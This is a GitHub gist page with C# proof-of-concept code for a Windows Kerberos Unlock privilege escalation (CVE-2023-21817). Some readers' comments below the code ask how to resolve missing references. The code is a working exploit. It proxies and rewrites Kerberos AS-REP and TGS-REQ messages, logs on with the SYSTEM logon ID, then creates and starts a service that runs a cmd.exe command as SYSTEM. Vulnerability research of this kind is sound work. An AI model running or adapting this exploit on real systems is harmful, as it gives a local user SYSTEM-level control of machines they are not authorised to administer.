Created
April 10, 2023 22:58
-
-
Save monoxgas/f615514fb51ebb55a7229f3cf79cf95b to your computer and use it in GitHub Desktop.
Minimal PoC code for Kerberos Unlock LPE (CVE-2023-21817)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using NtApiDotNet; | |
using NtApiDotNet.Ndr.Marshal; | |
using NtApiDotNet.Win32; | |
using NtApiDotNet.Win32.Rpc.Transport; | |
using NtApiDotNet.Win32.Security.Authentication; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client; | |
using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server; | |
using NtApiDotNet.Win32.Security.Authentication.Logon; | |
using System; | |
using System.DirectoryServices.ActiveDirectory; | |
using System.Net; | |
using System.Threading; | |
namespace UrbanDoor | |
{ | |
public class ModifyCNameKerberosProxy : KerberosKDCProxy | |
{ | |
private KerberosPrincipalName _clientName; | |
private KerberosAuthenticationKey _userKey; | |
private KerberosPrincipalName _originalClientName = null; | |
private KerberosAuthenticationKey _tgtKey = null; | |
public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname) | |
: base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88)) | |
{ | |
_clientName = clientName; | |
_userKey = userKey; | |
} | |
protected override byte[] HandleRequest(byte[] outbound) | |
{ | |
if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request)) | |
{ | |
if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ) | |
{ | |
Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]"); | |
var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest; | |
if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc)) | |
{ | |
var authenticator = KerberosAuthenticator.Parse(enc.CipherText); | |
var authenticatorBuilder = authenticator.ToBuilder(); | |
authenticatorBuilder.ClientName = _originalClientName; | |
var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq)); | |
var builder = request.ToBuilder(); | |
builder.PreAuthenticationData.Clear(); | |
builder.AddPreAuthenticationData(newPreAuth); | |
builder.AddPreAuthenticationData(request.PreAuthenticationData[1]); | |
outbound = builder.Create().ToArray(); | |
} | |
else | |
{ | |
Console.WriteLine("[!] Error decrypting with tgtKey"); | |
} | |
} | |
} | |
var inbound = base.HandleRequest(outbound); | |
if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply)) | |
{ | |
if (reply.MessageType == KerberosMessageType.KRB_AS_REP) | |
{ | |
Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]"); | |
_originalClientName = reply.ClientName; | |
if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc)) | |
{ | |
var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText); | |
_tgtKey = encryptedPart.Key; | |
var builder = reply.ToBuilder(); | |
builder.ClientName = _clientName; | |
return builder.Create().ToArray(); | |
} | |
else | |
{ | |
Console.WriteLine("[!] Error decrypting with password"); | |
} | |
} | |
} | |
return inbound; | |
} | |
} | |
class Program | |
{ | |
static Luid SYSTEM_LUID = new Luid(0x3E7); | |
static string OUT_PATH = "C:\\windows\\lpe.txt"; | |
static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH; | |
static void Main(string[] args) | |
{ | |
try | |
{ | |
if (args.Length != 1 && args.Length != 2) | |
{ | |
throw new ArgumentException("Supply <current_password>"); | |
} | |
string password = args[0]; | |
KerberosTicketCache.PurgeTicketCache(default, null, null); | |
string realm = Domain.GetCurrentDomain().Name.ToUpper(); | |
Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid; | |
string username = user_sid.GetName().Name.ToLower(); | |
string upn = $"{username}@{realm}"; | |
ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy( | |
new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"), | |
KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0), | |
Domain.GetCurrentDomain().FindDomainController().Name | |
); | |
proxy.Start(); | |
KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0); | |
var creds = new KerberosInteractiveLogonCredentials( | |
new UserCredentials(username, realm, password) | |
) | |
{ | |
LogonId = SYSTEM_LUID | |
}; | |
try | |
{ | |
using (var handle = LsaLogonHandle.Connect()) | |
{ | |
handle.LsaLogonUser( | |
SecurityLogonType.Interactive, | |
AuthenticationPackage.KERBEROS_NAME, | |
creds | |
); | |
} | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n"); | |
} | |
proxy.Stop(); | |
KerberosTicketCache.UnpinAllKdcs(); | |
Client scm = new Client(); | |
RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512)); | |
security.AuthenticationLevel = RpcAuthenticationLevel.Connect; | |
security.AuthenticationType = RpcAuthenticationType.Kerberos; | |
security.ServicePrincipalName = $"HOST/{Environment.MachineName}"; | |
scm.Connect("ncacn_np", @"\pipe\ntsvcs", security); | |
int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm); | |
if (error != 0) throw new SafeWin32Exception(error); | |
Console.WriteLine($"[+] Opened SCM: {hscm}"); | |
string serviceName = Guid.NewGuid().ToString(); | |
int? tag_id = null; | |
error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess, | |
(int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice); | |
if (error != 0) throw new SafeWin32Exception(error); | |
Console.WriteLine($"[+] Service created: {serviceName}"); | |
scm.RStartServiceW(hservice, 0, null); | |
Thread.Sleep(250); | |
Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}"); | |
} | |
catch (Exception ex) | |
{ | |
Console.WriteLine("[!] Error:\n"); | |
Console.WriteLine(ex); | |
} | |
} | |
} | |
} |
Hey! Visual Studio can't seem to resolve the references to "Client" and "SilverTicket" in lines 158, 159. Can you tell me what libs/NuGet packages/etc i need to add/install?
Hey! Visual Studio can't seem to resolve the references to "Client" and "SilverTicket" in lines 158, 159. Can you tell me what libs/NuGet packages/etc i need to add/install?
Thank you, mate! This resolved the issue with "Client" reference, but can't understand how to resolve the one with "SilverTicket"..
Hi! I was just trying to reproduce this poc and hit a wall with the unknown reference to SilverTicket as @abedtuded mentioned. Did anyone find a way to resolve this? Maybe @Cerbersec?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello, u say
In the case of a Kerberos unlock, once the logon is complete a call is triggered to KerbUpdateOldLogonSession with the supplied LUID.
but what is logon?logon here is logging in or just any kerberos authentication?